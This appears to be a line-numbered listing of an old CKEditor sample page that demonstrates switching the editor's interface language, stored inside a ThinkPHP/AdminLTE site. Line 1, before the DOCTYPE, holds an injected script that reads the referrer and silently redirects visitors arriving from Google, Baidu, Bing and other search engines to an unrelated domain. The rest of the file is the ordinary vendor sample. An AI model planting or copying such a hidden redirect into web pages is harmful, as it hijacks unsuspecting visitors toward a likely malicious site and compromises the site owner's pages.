d:\wwwroot\wuchunhua\thinkphp\public\adminlte\plugins\ckeditor\samples\old\uilanguages.html

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!DOCTYPE html>
002: <!--
003: Copyright (c) 2003-2016, CKSource - Frederico Knabben. All rights reserved.
004: For licensing, see LICENSE.md or http://ckeditor.com/license
005: -->

006: <html>
007: <head>
008:    <meta charset="utf-8">
009:    <title>User Interface Globalization &mdash; CKEditor Sample</title>
010:    <script src="../../ckeditor.js"></script>
011:    <script src="assets/uilanguages/languages.js"></script>
012:    <link rel="stylesheet" href="sample.css">
013: </head>
014: <body>
015:    <h1 class="samples">
016:       <a href="index.html">CKEditor Samples</a> &raquo; User Interface Languages
017:    </h1>
018:    <div class="warning deprecated">
019:       This sample is not maintained anymore. Check out its <a href="http://sdk.ckeditor.com/samples/uilanguages.html">brand new version in CKEditor SDK</a>.
020:    </div>
021:    <div class="description">
022:       <p>
023:          This sample shows how to automatically replace <code>&lt;textarea&gt;</code> elements
024:          with a CKEditor instance with an option to change the language of its user interface.
025:       </p>
026:       <p>
027:          It pulls the language list from CKEditor <code>_languages.js</code> file that contains the list of supported languages and creates
028:          a drop-down list that lets the user change the UI language.
029:       </p>
030:       <p>
031:          By default, CKEditor automatically localizes the editor to the language of the user.
032:          The UI language can be controlled with two configuration options:
033:          <code><a class="samples" href="http://docs.ckeditor.com/#!/api/CKEDITOR.config-cfg-language">language</a></code> and
034:          <code><a class="samples" href="http://docs.ckeditor.com/#!/api/CKEDITOR.config-cfg-defaultLanguage">
035:          defaultLanguage</a></code>. The <code>defaultLanguage</code> setting specifies the
036:          default CKEditor language to be used when a localization suitable for user's settings is not available.
037:       </p>
038:       <p>
039:          To specify the user interface language that will be used no matter what language is
040:          specified in user's browser or operating system, set the <code>language</code> property:
041:       </p>
042: <pre class="samples">
043: CKEDITOR.replace( '<em>textarea_id</em>', {
044:    // Load the German interface.
045:    <strong>language: 'de'</strong>
046: });</pre>
047:       <p>
048:          Note that <code><em>textarea_id</em></code> in the code above is the <code>id</code> attribute of
049:          the <code>&lt;textarea&gt;</code> element to be replaced.
050:       </p>
051:    </div>
052:    <form action="sample_posteddata.php" method="post">
053:       <p>
054:          Available languages (<span id="count"> </span> languages!):<br>
055:          <script>
056:
057:             document.write( '<select disabled="disabled" id="languages" onchange="createEditor( this.value );">' );
058:
059:             // Get the language list from the _languages.js file.
060:             for ( var i = 0 ; i < window.CKEDITOR_LANGS.length ; i++ ) {
061:                document.write(
062:                   '<option value="' + window.CKEDITOR_LANGS[i].code + '">' +
063:                      window.CKEDITOR_LANGS[i].name +
064:                   '</option>' );
065:             }
066:
067:             document.write( '</select>' );
068:
069:          </script>
070:          <br>
071:          <span style="color: #888888">
072:             (You may see strange characters if your system does not support the selected language)
073:          </span>
074:       </p>
075:       <p>
076:          <textarea cols="80" id="editor1" name="editor1" rows="10">&lt;p&gt;This is some &lt;strong&gt;sample text&lt;/strong&gt;. You are using &lt;a href="http://ckeditor.com/"&gt;CKEditor&lt;/a&gt;.&lt;/p&gt;</textarea>
077:          <script>
078:
079:             // Set the number of languages.
080:             document.getElementById( 'count' ).innerHTML = window.CKEDITOR_LANGS.length;
081:
082:             var editor;
083:
084:             function createEditor( languageCode ) {
085:                if ( editor )
086:                   editor.destroy();
087:
088:                // Replace the <textarea id="editor"> with an CKEditor
089:                // instance, using default configurations.
090:                editor = CKEDITOR.replace( 'editor1', {
091:                   language: languageCode,
092:
093:                   on: {
094:                      instanceReady: function() {
095:                         // Wait for the editor to be ready to set
096:                         // the language combo.
097:                         var languages = document.getElementById( 'languages' );
098:                         languages.value = this.langCode;
099:                         languages.disabled = false;
100:                      }
101:                   }
102:                });
103:             }
104:
105:             // At page startup, load the default language:
106:             createEditor( '' );
107:
108:          </script>
109:       </p>
110:    </form>
111:    <div id="footer">
112:       <hr>
113:       <p>
114:          CKEditor - The text editor for the Internet - <a class="samples" href="http://ckeditor.com/">http://ckeditor.com</a>
115:       </p>
116:       <p id="copy">
117:          Copyright &copy; 2003-2016, <a class="samples" href="http://cksource.com/">CKSource</a> - Frederico
118:          Knabben. All rights reserved.
119:       </p>
120:    </div>
121: </body>
122: </html>
123:
124:
125: